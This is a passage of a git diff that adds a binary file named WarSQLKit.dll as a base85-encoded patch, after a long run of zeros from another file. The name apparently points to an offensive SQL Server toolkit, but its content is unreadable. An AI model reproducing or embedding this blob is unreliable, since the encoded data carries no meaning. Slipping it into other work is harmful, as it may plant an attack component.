0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000E001000C000000503E00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 \ No newline at end of file diff --git a/cmd/static/WarSQLKit.dll b/cmd/static/WarSQLKit.dll new file mode 100644 index 0000000000000000000000000000000000000000..3c17b7c94c22c9f6ec2d8b59339dd1b47f40742d GIT binary patch literal 1237504 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 